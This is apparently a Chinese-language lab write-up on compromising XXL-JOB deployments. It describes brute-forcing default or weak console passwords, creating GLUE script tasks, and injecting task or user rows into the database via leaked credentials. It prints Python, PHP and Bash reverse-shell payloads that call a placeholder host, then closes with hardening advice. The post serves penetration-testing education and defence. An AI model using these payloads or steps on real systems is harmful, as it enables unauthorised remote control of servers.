提示: 靶场来自个人云服务器,真实网络环境渗透测试请严格遵守《中国网络信息安全法》,请勿轻易用于他人线上网络环境安全测试,本人不承担任何法律责任。
首先需要明确的是,控制台getshell控制的不是调度中心的服务器,而是调度中心触发任务执行到任务执行器执行的shell反弹。
上图中以执行shell任务为例做的分析,从官方介绍中看到xxl-job支持如下几种调度类型:
也就是说除了Bean模式具体内容由executor业务服务实现,其他六种带GLUE前缀的任务,以源码脚本的方式托管在调度中心,也就是由xxl-job-admin维护。
简单来说除了Bean模式,其他任务类型都是将任务脚本由调度中心发送到调度机器执行,那么很简单如果发送的脚本是通过bash命令反弹shell呢,举例如下:
GLUE(Python):
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("host",port));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
GLUE(PHP):
$sock=fsockopen("host",port);
exec("/bin/sh -i <&3 >&3 2>&3");
GLUE(Shell):
bash -i >& /dev/tcp/host/port 0>&1
前边介绍了调度中心具备getshell的能力,那么也是需要条件的。
通过默认账密获取控制台权限,比如admin/123456,应该有一小撮”小可爱“不改默认密码,导致调度中心被登录以及恶意操作。
用工具爆破,比如我自己的云服务器搭建的xxl-job-admin,设置了弱口令密码,使用burpsuite登工具可以爆破:
如果是admin,则拥有最高权限,如果是其他用户要拥有创建任务的权限。
创建任务要选择GLUE类型,最常用是Shell和PowerShell。一般用shell,Powershell用于windows系统。
这一项与前边控制台相关权限是或的关系,比如数据库账密泄漏问题、Nacos配置中心漏洞问题导致的xxl-job数据账密泄漏,连接后也能做相关操作,为什么呢?
本质上控制台创建的调度任务会存储到xxl_job.xxl_job_info表中,那么直接往xxl_job_info表中添加GLUE类型的任务数据是不是也可以被自动执行呢。
从xxl-job-core代码com.xxl.job.core.server.EmbedServer.EmbedHttpServerHandler#process中可以看到,任务执行调用/run接口:
调用com.xxl.job.core.biz.impl.ExecutorBizImpl#run方法执行业务逻辑:
这里会检查任务类型的合法性,有些企业处于安全性考量,只允许Bean类型的任务,也就是只允许在业务服务写任务执行逻辑,禁止调度中心发送脚本到业务机器执行,一般会把xxl-job-core二次开发删除除Bean类型以外的任务判断和执行逻辑,否则调度中心任务触发请求过来都认为是非法任务类型。
这个改动我认为是正常的,任务就是任务,一定是有业务属性和含义的,放到业务服务中实现多正常,通过脚本托管到调度中心是怎么回事,不伦不类不说,带来了巨大的安全隐患,有人可能会说可能是为了支持其他编程语言的,我看未必,使用xxl-job-admin作为调度中心的绝大多数技术栈还都是java。
有点扯远了,言归正传,如果使用xxl-job的团队对安全理解比较到位,对业务任务的定位比较到位,然后也有一定的开源代码二次开发能力,把xxl-job-core改写了,不允许执行脚本任务了,那么就狒狒了,通过任务进行反弹就不好实现了。所以通过调度中心getshell必需的一个环节是任务执行器执行脚本任务。
创建GLUE(Shell)任务:
然后点击操作->GLUE-IDE在线编辑shell脚本:
保存后,在手动执行任务之前在另外一台机器启动tcp服务:
然后手动执行任务,到另一台启动tcp服务的机器看日志:
shell反弹成功,获取到机器操作权限,然后就可以进行下一步的探索了~
到任务执行服务器查看,果然启动了bash进程,并且执行了反弹命令,且与攻击机建立了网络连接。
如果控制台没有使用默认密码,也不是弱口令密码,爆破工具也短时间无法爆破的情况下,可以换个思路从周边入手,比如通过旁站查询、或者这台机器开了8848端口,并且nacos版本比较低,进入了nacos控制台,从控制台拿到了相关配置信息比如数据库账密,又或者通过其他爆破的方式拿到了数据库账密。
连上数据库之后,看到相关表,xxl_job_info就是用来存储调度任务的。
打开xxl_job_info表,获取一些信息:
然后编写sql并执行添加调度任务:
要保证job_group有效,并且trigger_status为1(自动触发)。
和控制台操作一样,到另外一台测试机启动tcp服务,等待任务执行主动连接,同样可以反弹成功,后续细节就不演示了。
延伸一下,既然获取到了数据库账密,为什么不直接拿admin密码去控制台登录呢?
从用户表数据来看,密码是加密过的,不是明文存储。可以看一下登录时的逻辑:
很明显是md5加密过的,md5算法不可逆,一般破解不了,网上所谓的破解其实都是碰撞,如果运气好能够撞库成功,也算是破解了。
当然,也可以直接从数据库创建用户,这样更方便,创建后直接控制台登录也可以进行控制台的getshell操作。
控制台弱口令问题,xxl-job任何版本都有这个问题,之所以存在是因为有些团队的项目是外包的、有些开发能力弱、有些是因为懒、有些是客观因素是经常使用的网站习惯性不会设置强度很高不好记的密码。
控制台可以理解为一道总控,如果他被攻破,那么周边业务服务任务执行机器很难幸免,控制台登录密码一定要设置复杂一些,避免爆破或者轻易爆破。
控制台不允许添加脚本任务,视场景而定,我理解绝大多数场景不需要脚本任务。
改造业务服务引入的xxl-job-core,只允许Bean类型任务触发调用,脚本类型直接报错拒绝。
xxl-job类似开源的项目,一直在频频爆出漏洞,对于控制台低版本还有各种高危漏洞比如freemaker、越权、授权漏洞等等,升级到高版本至少能够短时间缓解安全防护压力。
https://github.com/xuxueli/xxl-job
https://www.xuxueli.com/xxl-job/#7.32%20%E7%89%88%E6%9C%AC%20v2.3.1%20Release%20Notes[2022-05-21]
https://xz.aliyun.com/t/13899?time__1311=GqmxnD0D2Dci3GNeWxUxQwRQ3mxqY543x
本文分享自 PersistentCoder 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!